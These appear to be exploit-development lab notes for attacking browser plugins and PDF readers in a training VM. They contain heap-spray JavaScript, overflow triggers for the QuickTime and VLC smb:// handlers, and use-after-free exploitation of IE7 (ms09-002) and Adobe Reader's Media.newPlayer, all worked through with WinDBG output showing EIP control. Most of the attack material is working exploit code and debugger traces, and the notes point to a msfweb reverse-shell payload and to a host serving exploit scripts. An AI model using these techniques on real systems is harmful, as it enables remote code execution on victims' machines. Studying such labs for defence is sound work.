Browser Exploits

################################
# Lab 1: Overflows in browsers #
################################

Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000

<object id=quicktime clsid="999-999999-99-99999">
  <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
</object>

var buf = "";
for(i = 0; i < 50000; i++)
   buf += "A";
var myobject = document.getElementById("quicktime");
myobject.url = buf;

YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!

- Browsers (Flash)
- PDF
- MS Office / OOo

VLC smb:// exploit
------------------

EXPLOIT VECTOR

smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}

Exploit Scripts
- ffvlc

ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080

perl daemon.py vlc0.html

ON YOUR XPIE8 VM, START FIREFOX
Browse to http://your_host_ip_address:8080/

vlc0.html
---------
<script>
   var buf = "";
   for(i = 0; i < 1250; i++)
      buf += unescape("%41%41%41%41");
   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
</script>

vlc1.html
---------
<script>

   // shellcode created in heap memory
   var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");

   // 800K block of NOPS
   var nop = unescape("%u9090%u09090");   // 4 NOPS
   while(nop.length < 0xc0000) {
      nop += nop;
   }

   // spray the heap with NOP+shellcode
   var memory = new Array();
   for(i = 0; i < 50; i++) {
      memory[i] = nop + shellcode;
   }

   // build the exploit payload
   var buf = "";
   for(i = 0; i < 1250; i++)
      buf += unescape("%41%41%41%41");
   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";

   // trigger the exploit
   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
</script>

perl daemon.py vlc1.html

Search for where our NOPS+shellcode lies in the heap

s 0 l fffffff 90 90 90 90 cc cc cc cc

0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
03dffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
040ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
043ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
046ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
049ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
04cffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
04fffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
052ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
055ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
058ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
05bffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
05effffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
061ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
064ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
067ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
06affffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................

Edit vlc2.html
replace %41%41%41%41 with %07%07%07%07

(928.fd0): Break instruction exception - code 80000003 (first chance)
eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
07100000 cc              int     3
0:019> u
07100000 cc              int     3
07100001 cc              int     3
07100002 cc              int     3
07100003 cc              int     3
07100004 cc              int     3
07100005 cc              int     3
07100006 cc              int     3
07100007 cc              int     3

Create vlc3.html (Copy vlc2.html to vlc3.html)
----------------------------------------------
Win32 Reverse Shell
- no restricted characters
- Encoder NONE
- use the Javascript encoded payload generated by msfweb

USE AFTER FREE
--------------

struct {
   int a;
   int b;
   void (*add)();
   char c[20];
} s1, s2;

s1.a = 3;
s1.b = 4;
s1.add = my_add_func();
strcpy(s1.c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAA");
:
:
s2.add(x, y);
:

Exploit scripts
ie7-ms09002

perl daemon.py ie7imgtag0.html

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=025445a0 ebx=00000000 ecx=4141ffff edx=00000002 esi=02545678 edi=80020003
eip=7e8999cb esp=01e8f68c ebp=01e8f694 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Internet Explorer Collection\IE700\mshtml.dll -
mshtml!DllGetClassObject+0x4ec28:
7e8999cb ff5104          call    dword ptr [ecx+4]    ds:0023:41420003=????????

WHENEVER YOU HAVE A CRASH WHERE YOU FAULT ON:

call dword ptr [reg + N]

You control the reg value (completely or partially)

You have an exploitable vtable overwrite.

u eip-3 <--- check 3 instructions before the crash
0:005> u eip-3
mshtml!DllGetClassObject+0x4ec25:
7e8999c8 8b08            mov     ecx,dword ptr [eax]
7e8999ca 50              push    eax
7e8999cb ff5104          call    dword ptr [ecx+4]

dd eax
0:005> dd eax
025445a0  4141ffff 00420042 00420042 00420042
025445b0  00420042 00420042 00420042 00420042
025445c0  00420042 00420042 00420042 00420042
025445d0  00420042 00000042 e8b9ce43 ff080100

%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB

<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
<img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
:
:

EAX register ends up pointing to one of these src values
%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB

EAX points to ---> 4141ffff B B B B B B ...
mov ecx, [eax]
- what will ecx be? ECX = 4141ffff
push eax
call dword ptr [ecx+4]
- EIP will jump to whatever is at memory location 4141ffff+4 = 41420003

ie7imgtag1.html
---------------

var buf = unescape("%u0606%u0606BBBBBBBBBBBBBBBBBBBBBBBBB");

EAX points to ---> 0606ffff B B B B B B ...
mov ecx, [eax]
- ecx = 0606ffff

call [ecx+4]
- call [06070003]

Do we control the memory at 06070003?

dd 04040404 ........ 90 90 90 90 90 90 90
dd 05050505 ........ 90 90 90 90 90 90 90
dd 06060606 ........ 90 90 90 90 90 90 90

   06070003 --> 90909090

dd 07070707 ........ 90 90 90 90 90 90 90

EIP = 90909090 (whatever is stored at location 06070003)






#######################
# Lab 2: PDF EXPLOITS #
#######################

Acrobat Media newPlayer exploit
-------------------------------

Use-after-free bug

Exploit scripts are online at 172.16.0.100
- adobe_mnp

Download these scripts on your XPIE8 VM itself.


mnp0.pdf

- Open up acrobat reader
- WinDBG
- F6 attach to AcroRd32.exe
- g to Go

EIP = 41414141

Next step is to spray the heap with NOPS+shellcode, and then land EIP in the heap.

mnp1.pdf

All we are doing is changing EIP to 0c0c0c0c.
There is no heap spray in this one.

This exception may be expected and handled.
eax=02e2d638 ebx=23826917 ecx=02e2d638 edx=02e2f868 esi=02c07674 edi=02c07674
eip=0c0c0c0c esp=0013fb38 ebp=0013fbb8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
0c0c0c0c ??              ???

We know we get EIP control

mnp2.pdf

Put in the heap spray.

   var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");

   var nops = unescape("%u9090%u9090");

   while(nops.length <= 32768)
      nops += nops;
   nops = nops.substring(0,32768 - shellcode.length);

   memory = new Array();

   for(i = 0; i < 1500; i++) {
      memory[i] = nops + shellcode;
   }

1500 NOP+shellcode blocks of 32K NOPs each

We would have sprayed over address 0c0c0c0c, and we hope to hit EIP = 0c0c0c0c, and get INT3.

We want to see what led to the crash.

EIP is invalid, so we can't disassemble around EIP

We need to trace the function that called us and crashed.
- STACK TRACE
- Dumps all the frames from the top of the stack.
- show you the series of calls that led up to the crash.
- we will analyze the topmost function on the frame.

WinDBG - stack trace - "k" command

0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0013fb34 2d843117 0x90909090
0013fbb8 23826934 Multimedia!PlugInMain+0x41b69
0013fbdc 23825d8c EScript!PlugInMain+0x25584
0013fc74 238257e2 EScript!PlugInMain+0x249dc
0013fca4 238543c5 EScript!PlugInMain+0x24432
0013fd04 00a78de1 EScript!PlugInMain+0x53015
0013fd20 7e418734 AcroRd32_940000!DllCanUnloadNow+0x67290
0013fd4c 7e418816 USER32!InternalCallWinProc+0x28
0013fdb4 7e4189cd USER32!UserCallWinProcCheckWow+0x150
0013fe14 7e418a10 USER32!DispatchMessageWorker+0x306
0013fe24 00a323b4 USER32!DispatchMessageW+0xf
0013fe94 00a31de8 AcroRd32_940000!DllCanUnloadNow+0x20863
0013fecc 0094389f AcroRd32_940000!DllCanUnloadNow+0x20297
0013fee4 009436ee AcroRd32_940000!AcroWinMain+0x1c8
0013ff2c 00404004 AcroRd32_940000!AcroWinMain+0x17
0013ffc0 7c817067 AcroRd32+0x4004
0013fff0 00000000 kernel32!BaseProcessStart+0x23

2d843117 -- the return address that we would have returned to, if we didnt crash.
address 2d843117-2 we will have a CALL instruction.

u 2d843117
u 2d843117-2
u 2d843117-3 <---- we found the CALL instruction - call [edx+4]
u 2d843117-4

0:000> u 2d843117-3
Multimedia!PlugInMain+0x41b66:
2d843114 ff5204          call    dword ptr [edx+4] <---- the culprit!!!
2d843117 6a00            push    0
2d843119 68d8b68c2d      push    offset Multimedia!PlugInMain+0xca12a (2d8cb6d8)
2d84311e 56              push    esi
2d84311f e842aefdff      call    Multimedia!PlugInMain+0x1c9b8 (2d81df66)
2d843124 83c40c          add     esp,0Ch
2d843127 66b80100        mov     ax,1
2d84312b 5e              pop     esi

We control EDX
edx=0c0c0c0c

call [edx+4] = call [0c0c0c10]
dd edx+4

0:000> dd edx+4
0c0c0c10  90909090 90909090 90909090 90909090
0c0c0c20  90909090 90909090 90909090 90909090

0:000> u 2d843117-7
Multimedia!PlugInMain+0x41b62:
2d843110 8b10            mov     edx,dword ptr [eax]
2d843112 8bc8            mov     ecx,eax
2d843114 ff5204          call    dword ptr [edx+4]

dd eax

0:000> dd eax
02e2d680  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
02e2d690  42424242 42424242 42424242 42424242
02e2d6a0  42424242 42424242 42424242 42424242
02e2d6b0  42424242 42424242 42424242 42424242
02e2d6c0  42424242 42424242 00000000 00000000

mnp3.pdf

change the NOPs 90909090 to 0c0c0c0c

mov edx, [eax]
call [edx+4]

edx = 0c0c0c0c
edx+4 = 0c0c0c10
contents at edx+4 will also be "0c0c0c0c"

EIP will jump to 0c0c0c0c

and...

0:000> u 0c0c0c0c
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api -
0c0c0c0c 0c0c            or      al,0Ch
0c0c0c0e 0c0c            or      al,0Ch
0c0c0c10 0c0c            or      al,0Ch
0c0c0c12 0c0c            or      al,0Ch
0c0c0c14 0c0c            or      al,0Ch